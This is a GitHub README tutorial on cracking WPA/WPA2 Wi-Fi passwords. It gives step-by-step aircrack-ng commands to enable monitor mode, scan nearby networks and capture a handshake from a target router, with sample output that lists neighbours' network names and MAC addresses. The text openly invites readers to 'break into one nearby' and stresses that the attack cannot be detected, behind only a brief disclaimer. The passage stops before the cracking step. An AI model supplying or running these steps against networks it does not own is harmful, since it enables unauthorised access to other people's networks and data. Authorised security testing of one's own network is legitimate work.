brannondorsey/wifi-crackingCrack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat
Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat.
This is a brief walk-through tutorial that illustrates how to crack Wi-Fi networks that are secured using weak passwords. It is not exhaustive, but it should be enough information for you to test your own network's security or break into one nearby. The attack outlined below is entirely passive (listening only, nothing is broadcast from your computer) and it is impossible to detect provided that you don't actually use the password that you crack. An optional active deauthentication attack can be used to speed up the reconnaissance process and is described at the end of this document.
If you are familiar with this process, you can skip the descriptions and jump to a list of the commands used at the bottom. For a variety of suggestions and alternative methods, see the appendix. neal1991 and tiiime have also graciously provided translations to this document and the appendix in Chinese if you prefer those versions.
DISCLAIMER: This software/tutorial is for educational purposes only. It should not be used for illegal activity. The author is not responsible for its use. Don't be a dick.
This tutorial assumes that you:
sudo apt-get install aircrack-ngBegin by listing wireless interfaces that support monitor mode with:
airmon-ng
If you do not see an interface listed then your wireless card does not support monitor mode 😞
We will assume your wireless interface name is wlan0 but be sure to use the correct name if it differs from this. Next, we will place the interface into monitor mode:
airmon-ng start wlan0
Run iwconfig. You should now see a new monitor mode interface listed (likely mon0 or wlan0mon).
Start listening to 802.11 Beacon frames broadcast by nearby wireless routers using your monitor interface:
airodump-ng mon0
You should see output similar to what is below.
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
For the purposes of this demo, we will choose to crack the password of my network, "hackme". Remember the BSSID MAC address and channel (CH) number as displayed by airodump-ng, as we will need them both for the next step.
WPA/WPA2 uses a 4-way handshake to authenticate devices to the network. You don't have to know anything about what that means, but you do have to capture one of these handshakes in order to crack the network password. These handshakes occur whenever a device connects to the network, for instance, when your neighbor returns home from work. We capture this handshake by directing airmon-ng to monitor traffic on the target network using the channel and bssid values discovered from the previous command.
# replace -c and --bssid values with the values of your target network
# -w specifies the directory where we will save the packet capture
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
Now we wait... Once you've captured a handshake, you should see something like [ WPA handshake: bc:d3:c9:ef:d2:67 at the top right of the screen, just right of the current time.
If you are feeling impatient, and are comfortable using an active attack, you can force devices connected to the target network to reconnect, by sending malicious deauthentication packets at them. This often results in the capture of a 4-way handshake. See the deauth attack section below for info on this.
Once you've captured a handshake, press ctrl-c to quit airodump-ng. You should see a .cap file wherever you told airodump-ng to save the capture (likely called -01.cap). We will use this capture file to crack the network password. I like to rename this file to reflect the network name we are trying to crack:
mv ./-01.cap hackme.cap